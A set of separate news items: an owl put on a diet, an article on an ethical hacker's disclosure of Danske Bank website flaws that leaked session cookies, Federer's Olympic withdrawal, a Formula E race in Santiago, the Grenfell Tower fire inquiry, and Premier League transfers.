then got caught in a wet spell and was too fat to fly."The Suffolk Owl Sanctuary kept the owl on a diet for two weeks to bring her back within a healthy weight range and on Monday released her back into the wild where she was found, Samkin said."She definitely needed to go on a diet," he added. "Hopefully she's learned a thing or two."
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While accessing your Bank account online, Have you ever thought…
...there could be a Hacker, somewhere in the World, who is after your Money?
Maybe NO. Because, you believe that your bank offers Secure banking solution, Right?
At The Hacker News, we have reported many incidents of cyber attacks, which proves that Banks are more often being targeted by Hackers, despite robust Banking Security mechanisms.
Today we are going to talk about security of one of the Denmark's Largest Bank, reviewed by Sijmen Ruwhof, an Ethical Hacker, and IT Security Consultant.
Ruwhof recently published a blog post, "How I could Hack Internet Bank accounts of Danish Largest Bank in a few minutes".
His In-depth technical post explains the extent to which Danske Bank, one of the largest Danish Bank, is vulnerable to hacking.
In August, Ruwhof got intrigued with the idea of testing Bank's security while interacting with a group of Danish hackers at the Chaos Communication Camp (CCC), near Berlin.
According to Ruwhof, Security experts and Whitehat hackers were disappointed with the terrible security implementations adopted by many Danish Banks.
Ruwhof decided to see more of it… and Danske Bank did not disappoint him.
Summary: Danske Bank Security Loopholes
He visited the website and viewed the HTML code of the customer login screen, and while browsing through the code, he had not imagined the kind of shock he got.
A summary of what Ruwhof encountered, goes like this (Its a tale and not a LIST):
JavaScript comments contained internal server information (in a URL encoded format); Confidential Data to be precise.
On decoding, keywords like: HTTP_CONNECTION and HTTP_ACCEPT were mentioned; Not meant for the guests, these keywords are supposed to be present at the server end.
Ruwhof could see IP address of a probable customer (through variable HTTP_CLIENTIP) visiting Danske Bank's website.
Variable HTTP_USER_AGENT contains an operating system and web browser details; not used by Ruwhof.
Variable HTTP_COOKIE was visible and full of information; credentials of a customer could be hijacked in real time (Ruwhof resisted on breaking the law).
HTTP Basic authentication was not present as variables AUTH_USER and AUTH_PASSWORD were not carrying any data.
Danske Bank doesn't use a secure HTTPS connection to transport customer banking traffic; as variable HTTPS was OFF and SERVER_PORT carried value 80.
They're still using COBOL code on their backend; for (Customer Information Control System) CICS and Database handling.
After exploring all this loopholes and being in a state of shock…
....Ruwhof wanted to report about the security vulnerabilities to Danske Bank, in an effort to aware them about the risks associated with their Online Banking service.
What He got in return was Nothing!
Firstly, the Bank didn't has any contact that supports and responds to such disclosures.
Secondly, after managing to get a customer care number, the executive at the other end said: "Our technical guy will look at your finding."
Then finally, Ruwhof took the Social Network's route to reach an employee of Danske Bank, where he got success, and reportedly the vulnerabilities were got patched within 24 hours.
Wait, the Story doesn't Ends Here:
After 12 days Danske Bank acknowledged Rowhof and reading that he almost went into the coma, as the Bank thanked him for reporting about a potential vulnerability!
On a serious note, Ruwhof said that with his 17 years of experience, he can differentiate between the good and the bad.
"Someone at Danske Bank has messed up pretty hard, and they're now covering the situation. That's not honest and certainly not transparent."
"For at least two weeks, but probably a lot longer, very confidential customer data in the form of session cookies were leaking on Danske Bank's web site. With these cookies, it should have been possible to hijack internet banking accounts of their customers. They closed the security hole quickly but are now in denial of it."
Hacker Attack! Could they Steal from you?
We would suggest the Danske Bank and our readers to have a Good Read of the following links to know the extremities at both the ends.
Cyber Attacks on 6 major banks
Zeus Trojan- targeting banks in Japan
The UK banks victims of Ramnit Banking Malware
HDFC Bank's Website Vulnerable to Identity Theft
Therefore, you CAN be the victim bank of cyber attack too!
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(CNN)Roger Federer, the four-time Olympian and all-time great tennis champion, announced Tuesday that he would not represent Switzerland in the Tokyo 2020 Olympics, saying that a recent setback with his knee forced the decision.The 39-year-old underwent two knee operations in 2020. "I am greatly disappointed, as it has been an honor and highlight of my career each time I have represented Switzerland," Federer wrote in a statement. "I have already begun rehabilitation in the hopes of returning to the tour later this summer."Federer, a 20-time grand slam champion, competed in each Olympics between 2000 and 2012, winning men's doubles gold in Beijing in 2008 and men's singles silver in London in 2012. He missed the 2016 Olympics due to a knee injury.Tokyo Olympics: Novak Djokovic is a 'little bit divided' on playing at GamesHe most recently played at Wimbledon where he was knocked out of the tournament in the quarterfinals. He last won a grand slam tournament in January 2018 at the Australian Open.Read MoreFederer joins a growing list of players who are forgoing the chance for Olympic gold this summer for a variety of reasons. Previously, fellow 20-time slam winner Rafael Nadal, along with Serena Williams, Sofia Kenin, Dominic Thiem, Simona Halep, Nick Kyrgios, Bianca Andreescu and Denis Shapovalov have all announced their intention to skip the Tokyo Olympics, which are set to begin July 23 under significant restrictions due to the ongoing Covid-19 pandemic.
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(CNN)What's in a name?Well, quite a lot it would seem if you're a racing driver named Max.Maximilian Günther made Formula E history on a sweltering afternoon in Santiago, Chile, becoming at age 22 the youngest driver to ever win a race in the series.His achievement parallels that of a fellow driver named Max. In 2016, then 18-year-old Max Verstappen became the youngest driver to win a Formula One race.Günther was involved in an enthralling wheel-to-wheel battle with the vastly more experienced Antonio Felix da Costa, who must have thought he'd secured the ePrix win after controversially bashing his way past the youngster on the penultimate lap.Read MoreMaximilian Günther celebrates victory in the Santiago E-Prix.But the German driver impressively kept his cool and fought back to retake the lead on the final lap and give BMW just its third win in Formula E.Da Costa left BMW in the summer to join last season's championship-winning outfit DS Techeetah and was today critical of the team, claiming a miscommunication about battery temperature cost him the race win.READ: Formula E boss hopes racing series will 'accelerate' adoption of electric vehiclesJaguar's Mitch Evans completed the podium in third place but will be ruing a missed opportunity after an impressive drive in qualifying put him in pole position."It was a nice fight until the end and I'm super happy with my first victory in Formula E," Günther said after the race. "It became quite challenging ... it was an amazing race, fighting so much side-by-side with the cars for the win -- it's super cool."'The body and brain is the limit, not the car': How it feels to drive the world's quickest PorscheLast year's race in Santiago was affected by the record-breaking 42-degree Celsius (107.6-degree Fahrenheit) temperature, which caused parts of the track to melt under the drivers' wheels.To avoid a repeat this year, organizers enlisted the help of a company that usually lays the tarmac for airport runways and the track remained in fine fettle throughout.Santiago's circuit, situated in the Chilean capital's central O'Higgins Park, provides one of the most thrilling stops on the Formula E calendar, offering drivers more opportunities than usual to overtake — though one tricky hairpin has been the bane of several drivers' races in recent years.Permission to rename Santiago as 'overtake city' #SantiagoEPrix pic.twitter.com/Mu2F2gppTV— ABB Formula E (@FIAFormulaE) January 18, 2020 The win completes a remarkable comeback for Günther, a former Formula 2 driver, after indifferent results saw him dropped from his seat at GEOX Dragon last season.Victory and the full 25 points pushes Günther into fourth in the overall standings, 13 points behind leader Stoffel Vandoorne who overtakes Alexander Sims at the top thanks to his sixth-place finish in Santiago.
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London (CNN)British Prime Minister Theresa May on Thursday announced a full public inquiry into the Grenfell Tower disaster as grief turned to anger a day after the blaze that left at least 17 dead.Speaking after visiting the site of the devastating fire in London's North Kensington area, May said she wanted to make sure "this terrible tragedy is properly investigated."London's fire chief said there's little chance of finding any others alive in the charred remains of the tower. Dozens remain missing.The Metropolitan Police have preliminarily identified six victims of the fire, Cmdr. Stuart Cundy said. He added that six bodies were recovered outside but they are not necessarily the victims who were identified.Eleven bodies that have been spotted inside have not been recovered.Read MoreInvestigators expect the death toll to rise, he said. May's government was facing growing questions about why ministers did not act on recommendations following an earlier fire in London, which led to calls for sprinkler systems to be installed in residential blocks and for a full review of Britain's fire regulations.David Lammy, a member of Parliament from the opposition Labour Party, said charges should be brought against those held responsible for the tragedy.Latest developments-- The final death toll is unknown; there's no number on the missing.-- Residents who escaped were offered housing overnight.-- The local council says it has enough donations for the survivors.-- Thirty-seven are people in the hospital; 17 of them are critical.-- The Prime Minister visited the site Thursday.Fire still burns inside one of the flats in the Grenfell Tower. Firefighters were still working to dampen the blaze and search for remains of the dead Thursday.London Fire Commissioner Dany Cotton said she had "genuinely" no idea about how many people were still missing. She admitted it would be an "absolute miracle" if anyone else were still alive in the tower and that it would take weeks to complete a proper search.Cotton said that urban search and rescue dogs would be deployed inside the building. While the core of the building was structurally sound, dogs were lighter and more agile than people, she said. Her staff will remain on the scene for days, and the search of the tower would be a "slow and painstaking process."The blaze gutted rooms inside the high-rise building. Cotton also said that parts of the building would have to be shored up to make it safe for rescue workers to reach each floor.May praised the actions of the emergency services and the local community in coming together at such a difficult time.She also sought to reassure residents who lost their homes that they would be rehoused in London and as close as possible to that area."We need to know what happened, we need to know an explanation," she said. "We owe that to the families, to the people who have lost loved ones and the homes in which they lived."The rescue mission has turned into a search-and-recovery operaton. London Mayor Sadiq Khan said in an earlier call for a public inquiry that an interim report should be produced by the summer."We can't afford to wait many years for these answers," he said during a Thursday evening news conference that became testy as local residents surrounded him, at times shouting expletives. British Prime Minister Theresa May speaks to firefighters Thursday as she visits Grenfell Tower.AngerLammy, the Labour lawmaker from London, called for arrests, describing the fire as "corporate manslaughter." Lammy told the BBC he had yet to hear from family friend Khadjia Saye, who lived in the tower. He called the fire "an outrage."Grentfell Tower - It is totally unacceptable for this to happen in Britain in 2017, particularly in our richest borough. #r4today— David Lammy (@DavidLammy) June 15, 2017
"We built buildings in the '70s. Those '70s buildings, many of them should be demolished. They haven't got easy fire escapes. They've got no sprinklers," Lammy told the BBC. "It's totally, totally unacceptable in Britain that this is allowed to happen and people lose their lives in this way, and people should be held to account."Questions remain over how the fire began and how it spread so quickly through the tower that was home to as many as 500 people. Originally constructed in 1974, the residential tower block recently underwent a $13.2 million (£10.3 million) refurbishment carried out by private developers Rydon and completed last summer. The focus has turned to questions over the exterior cladding added as part of the refurbishment.May consults with London Fire Commissioner Dany Cotton, left, at the scene of the fire Thursday.Many survivors said the fire spread quickly with little warning. Multiple residents told CNN they did not hear fire alarms when the blaze broke out.Residents had complained about safety for several years.In November, the Grenfell Action Group highlighted ongoing concerns among residents over the safety of the tower, managed by the Kensington and Chelsea Tenant Management Organisation on behalf of the borough. The group's blog post argued that only "a catastrophic event will expose the ineptitude and incompetence of our landlord ... and bring an end to the dangerous living conditions and neglect of health and safety legislation that they inflict upon their tenants and leaseholders."The management company acknowledged residents' concerns in a statement: "It is too early to speculate what caused the fire and contributed to its spread. We will cooperate fully with all the relevant authorities in order to ascertain the cause of this tragedy. ... We are aware that concerns have been raised historically by residents. We always take all concerns seriously and these will form part of our forthcoming investigations." Photos: Fire engulfs West London apartment blockBurning debris falls from Grenfell Tower as a massive fire engulfs the London apartment building early on June 14, 2017. Seventy-two people are confirmed to have died in the fire.Hide Caption 1 of 21 Photos: Fire engulfs West London apartment blockSmoke rises from Grenfell Tower hours after the fire.Hide Caption 2 of 21 Photos: Fire engulfs West London apartment blockA woman cries as she tries to locate a missing relative.Hide Caption 3 of 21 Photos: Fire engulfs West London apartment blockA woman runs near paramedics working near the fire.Hide Caption 4 of 21 Photos: Fire engulfs West London apartment blockWitnesses reported terrifying accounts of people trapped in the tower. Some people were reported to have jumped from the tower.Hide Caption 5 of 21 Photos: Fire engulfs West London apartment blockPeople watch as Grenfell Tower is engulfed by fire.Hide Caption 6 of 21 Photos: Fire engulfs West London apartment blockEmergency service members work at the scene.Hide Caption 7 of 21 Photos: Fire engulfs West London apartment blockResidents of nearby Whitchurch Road watch smoke streaming from the tower.Hide Caption 8 of 21 Photos: Fire engulfs West London apartment blockEmergency personnel prepare in an open area near the blaze. Hide Caption 9 of 21 Photos: Fire engulfs West London apartment blockPeople watch as smoke rises from the tower.Hide Caption 10 of 21 Photos: Fire engulfs West London apartment blockMichael Paramasivan and his daughter Thea Kavanagh managed to escape the fire.Hide Caption 11 of 21 Photos: Fire engulfs West London apartment blockPolice officers asked people to step back so they could expand the cordon and make more space for emergency services.Hide Caption 12 of 21 Photos: Fire engulfs West London apartment blockPolice stand near debris from the fire.Hide Caption 13 of 21 Photos: Fire engulfs West London apartment blockA security cordon holds people back as Grenfell Tower burns.Hide Caption 14 of 21 Photos: Fire engulfs West London apartment blockChildren wear masks that were distributed near the site of the fire.Hide Caption 15 of 21 Photos: Fire engulfs West London apartment blockThe building, built in the 1970s, was home to 125 families.Hide Caption 16 of 21 Photos: Fire engulfs West London apartment blockEmergency services respond to the fire.Hide Caption 17 of 21 Photos: Fire engulfs West London apartment blockFirefighters battle the massive blaze.Hide Caption 18 of 21 Photos: Fire engulfs West London apartment blockSmoke could be seen billowing over the heads of residents who gathered in nearby streets to watch the blaze.Hide Caption 19 of 21 Photos: Fire engulfs West London apartment blockResidents from nearby Barandon Walk wait outside their building. The building was evacuated around 2 a.m. Police told residents that heat emanating from the fire could affect the structure of their building.Hide Caption 20 of 21 Photos: Fire engulfs West London apartment blockWitness Michael Kyriakou told CNN the fire spread quickly, with one side of the building ablaze around 15 minutes after it started. "Within an hour it had engulfed the top part of the building," he said. "There are people in bathrobes and slippers all around us, so hopefully as many as possible got out."Hide Caption 21 of 21Safety concerns Chief among the unanswered questions is how the fire spread so quickly. Ian Burgess, a professor of structural engineering at the University of Sheffield, told CNN that while fires do spread vertically up buildings, it's "generally quite a slow process." "This was clearly a very rapid transmission of flame up the front of the building," he said. JUST WATCHEDShock over how quickly flames engulfed buildingReplayMore Videos ...MUST WATCHShock over how quickly flames engulfed building 02:42Mike Gilmartin, director of Omega Fire Engineering, said that to meet requirements, a building must have residential sprinklers and fire alarms in every apartment as well as other features such as a firefighting shaft. Gilmartin said fire design has evolved over the years but it's not feasible to make all older buildings comply with the latest legislation. He added it's standard guidance that residents should stay in their apartments if a fire breaks out, as many of those in Grenfell Tower did. A 2009 fire at a residential block in south London, Lakanal House, led to calls for sprinkler systems to be installed in similar buildings. The government repeatedly committed itself to reviewing fire standards in buildings but to date has not done so. Community comes togetherAs the smoke continued to billow from the tower, locals worked hard Thursday to help those left homeless.Messages of hope written on a poster near Grenfell Tower. The local council received so many donations of food and supplies that by Thursday morning it said it did not need any more.Piles of baby carriages, luggage, food supplies, toys and furniture could be seen stacked on the streets as mourners and well-wishers wrote messages of solidarity and hope on posters near the ruined tower.Thanks for the donations of clothes, food etc. Our partners have been inundated with generous offers and have no more space at present.— RBKC (@RBKC) June 15, 2017
Dozens of hotel rooms, apartments and other rooms were donated to house the survivors. On Wednesday evening, on a street in the tower's shadow, volunteers who had been working all day handed out cans of soda and bottles of water, and others spread food and plates out on a long red rug laid on the sidewalk. Iftar laid out for volunteers #grenfelltower A post shared by Rrita (@rritr) on Jun 14, 2017 at 1:24pm PDT
"Share the food with everyone," a marshal said as residents and volunteers sat cross-legged opposite each other and Muslim members of the neighborhood broke their Ramadan fast. "The best thing about today has been seeing how generous people are," charity worker Zain Miah told CNN. "It doesn't matter what color skin we have, doesn't matter where we're from. ... Everyone is here to make sure the people who are affected, and who need help the most, have got that help." CNN's Steve George, Frederik Pleitgen, Schams Elwazer, Vasco Cotovio, Eliza Mackintosh, Joshua Berlinger, Sarah Tilotta, Angela Dewan, Emanuella Grinberg and Karen Smith contributed to this report
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Story highlightsBrazilian midfielder Willian joins Chelsea in a deal reported to be worth $46.5mThe 25-year-old had seemed destined for a switch to Tottenham HotspurRoma announce Erik Lamela is on his way to Tottenham for $39.9 millionGareth Bale's move to Real Madrid edges closer admits Andre Villas-BoasAt last it appears the pieces in soccer's latest transfer window jigsaw are slowly falling into place.A pair of big-money moves involving English Premier League clubs on Wednesday could spark a frenzy of activity as Europe's leading clubs aim to finish their business before Tuesday's deadline.London-based club Tottenham Hotspur are at the coalface as things stand, securing a $40 million deal shortly after missing out on another to rivals Chelsea.All this with the potential world record transfer of their star player Gareth Bale to Spanish giants Real Madrid simmering in the background -- a move that manager Andre Villas-Boas admits is close.Read: Fenerbahce's two-year European ban upheldBut while the two English clubs are splashing out lavish sums on new players, the teams they are buying from are resigned to having to offload their big names in a bid to balance the books.JUST WATCHEDMourinho returns to ChelseaReplayMore Videos ...MUST WATCHMourinho returns to Chelsea 03:08JUST WATCHEDNorth Korean footballer big in Japan ReplayMore Videos ...MUST WATCHNorth Korean footballer big in Japan 02:19JUST WATCHEDIs Brazilian football sexist?ReplayMore Videos ...MUST WATCHIs Brazilian football sexist? 02:47Russian club Anzhi Makhachkala announced their intention to sell a swathe of their stars earlier this month, alerting both Chelsea and Tottenham to the availability of Brazilian midfielder Willian.The 25-year-old appeared to be set for a move to Tottenham, but Chelsea swooped in to hijack the deal and on Wednesday announced it had been completed, for a fee reported to be $46.5 million.It means manager Jose Mourinho has ten midfielders at his disposal and raises the prospect that Spanish playmaker Juan Mata, who hasn't featured in Chelsea's first two games of the season, might be sold.Willian told Chelsea's official website: "Chelsea are one of the best clubs in the world, and now I'm going to play for one of the best managers in the world."It's been my dream to come to play here. Chelsea was always my first choice."Finally it's become a reality, and when the offer came I never gave a thought to anybody else, I said to myself that I would run here, and I'm happy to be here now."Chelsea are still in the market for Manchester United and England striker Wayne Rooney, who played for the English champions against Chelsea in their goalless draw on Monday night.The striker was afforded a fine reception by the home supporters, and took to his Facebook page on Wednesday to thank them for their support, the biggest hint yet that he might opt to stay at Old Trafford.Tottenham's frustration at missing out on Willian might have been eased by a new signing of their own, as Italian club AS Roma announced midfielder Erik Lamela was set to join them for a fee of $39.9 million. At the same time the club confirmed the signing of Adam Ljajic from fellow Serie A side Fiorentina for $14.5 million, who is expected to fill the gap left by Lamela, from Argentina.Lamela's acquisition means Tottenham have broken their transfer record three times in the close season, after the arrivals of Paulinho from Corinthians and Roberto Soldado from Valencia.JUST WATCHEDNew York Cosmos' grand plansReplayMore Videos ...MUST WATCHNew York Cosmos' grand plans 02:12JUST WATCHEDA new direction for boy band singer?ReplayMore Videos ...MUST WATCHA new direction for boy band singer? 01:37JUST WATCHEDBeckham appearance causes stampedeReplayMore Videos ...MUST WATCHBeckham appearance causes stampede 00:30They have also signed Toulouse midfielder Etienne Capoue and Belgian winger Nacer Chadli as Villas-Boas overhauls his squad in the face of Bale's departure.The Welshman's move to Real appears to be moving closer given Tottenham's transfer outlay, Villas-Boas telling a news conference on Wednesday it could happen "very soon."But the Portuguese also registered his disappointment that Bale has missed several training sessions as the saga unfolded."He is involved in a big transfer move to Real Madrid and in the end if it happens, we wish him all the best, but the fact that he hasn't turned up is not the correct behavior," Villas-Boas told reporters."That is the position they chose to take and it's up to the club to decide if it's a fineable offense."As for how quickly Bale's switch to Spain could be concluded Villas-Boas added: "It could happen very, very soon."Will he be in tomorrow? I don't know. I'm not really in control of the situation I've left it up to the club to decide what they want to do."It's up to Gareth (whether he wants to come back again). He has a good relationship with everybody and he has saluted the players the other day, myself included."
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